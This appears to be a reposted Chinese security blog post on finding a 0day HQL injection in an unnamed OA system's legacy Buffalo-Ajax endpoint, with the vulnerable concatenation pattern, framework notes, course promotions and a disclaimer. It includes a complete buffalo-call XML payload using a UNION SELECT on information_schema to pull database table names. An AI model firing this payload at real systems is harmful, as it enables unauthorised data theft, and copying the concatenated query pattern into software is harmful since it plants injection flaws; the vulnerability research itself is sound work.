记某OA系统Ajax旧服务的0day漏洞挖掘

admin 2025年1月16日21:35:45评论16 views字数 2628阅读8分45秒阅读模式

记某OA系统Ajax旧服务的0day漏洞挖掘

最近在最近研究某OA漏洞时,遇到了一种特殊的请求方法,请求体类似如下:

<buffalo-call><method>方法名称</method> 这里填充请求参数 </buffalo-call>

这是一种类似XML格式的请求方法,在网上都没有搜索到审计该OA漏洞代码的文章,没有提及到为什么这么去请求,以及如何构造这类请求。本文我将以代码+漏洞的形式,解释Ajax框架和漏洞成因。

首先buffalo-call这种请求方法,是Buffalo-Ajax框架的一种远程调用方法。什么是Buffalo-Ajax?Buffalo是一个前后贯通的完整的java Ajax框架,不过内容比较老旧,在2007年以后就没有再进行更新过了。

参考网站:Buffalo AJAX - Home

记某OA系统Ajax旧服务的0day漏洞挖掘
Buffalo通过Servlet的init过程初始化配置暴露给Buffalo远程调用的服务(支持内置的buffalo-service.properties配置及spring配置),根据request.getPathInfo()所得到的URL规则,如“/buffalo/simpleService”,最后客户端通过Buffalo.Reply解析返回的结果,并实现与UI的交互。

而Buffalo-Ajax远程调用如下:

buffalo.remoteCall({Service.Method}, {Params}, {CallBackFunction})

那根据Buffalo的描述,Service具体对应什么方法,还要去buffalo-service.properties里面查看

这里查看下OA里面的buffalo-service.properties配置,可以看到对应服务和方法所在的包名称

记某OA系统Ajax旧服务的0day漏洞挖掘
而Buffalo-Ajax可以解析的标签列表如下
protected static String tagName(int tag) {    switch (tag) {      case 0:return"null";      case 1:return"boolean";      case 2:return"int";      case 3:return"long";      case 4:return"double";      case 6:return"string";      case 9:return"map";      case 10:return"list";      case 11:return"type";      case 12:return"length";      case 13:return"ref";      case 15:return"buffalo-call";      case 17:return"fault";      case 18:return"method";      case 5:return"date";      case -1:return"end of file";    } return"unknown " + tag;  }

前提条件准备完毕,咱们来审计代码。在某个服务中找到了public方法如下(方法名称和参数名称已脱敏)

记某OA系统Ajax旧服务的0day漏洞挖掘

关键代码如下,其中存在hql.append("'" + id + "'");

但是这也不是直接的SQL语句,从from xxx where xxx in这个语法可以看出是HQL语法,是Hibernate框架的数据库查询语句

这里数组的id被拼接到in的后面,最后才在末尾添加')'进行闭合

可以尝试闭合造成SQL注入,但是首先Buffalo Ajax的String[]数组类型远程调用怎么传参呢?参考官方文档如下

记某OA系统Ajax旧服务的0day漏洞挖掘

首先需要外嵌type,指定引入的类,之后再加入length和具体的请求参数。看起来总感觉有些臃肿

要让Hibernate框架闭合,这里参考了文章HQL注入深入利用

其中有一种让Hibernate引擎直接在转移成SQL语句还能闭合的方法,就是传入'',让其作为一个字符串整体进行处理变成Mysql语句

<buffalo-call><method>xxxx</method><list><type>xxxx</type><length>2</length><string>1</string><string>1'') union select table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name from information_schema.tables where table_schema= database() LIMIT 1 OFFSET 0#</string></list></buffalo-call>

测试用''还是可以注入的,但是<string>标签里面不用再加+,空格是可以正常解析的,所以直接在最后一个string传参的地方加上闭合语句就行,这里可以直接union查询出数据

这里用查询当前数据库名称和当前用户名称进行验证

记某OA系统Ajax旧服务的0day漏洞挖掘
记某OA系统Ajax旧服务的0day漏洞挖掘

验证可以执行任意SQL语句

团队新年活动,Freebuf帮会成员免费加入抽奖!

记某OA系统Ajax旧服务的0day漏洞挖掘
帮会加入地址,新春25%折扣活动
记某OA系统Ajax旧服务的0day漏洞挖掘

SRC漏洞挖掘出洞课程,是由团队内部师傅根据实际挖洞经历整合的适合挖掘漏洞但是缺乏思路、刚接触学习漏洞挖掘不出漏洞的师傅们的漏洞挖掘教程。

第一期课程价格199,这价格还要什么自行车?课程正在持续更新中~

记某OA系统Ajax旧服务的0day漏洞挖掘

END

关注Code4th安全团队

了解更多网络安全内容~

原文始发于微信公众号(Code4th安全团队):记某OA系统Ajax旧服务的0day漏洞挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日21:35:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记某OA系统Ajax旧服务的0day漏洞挖掘https://cn-sec.com/archives/3635485.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息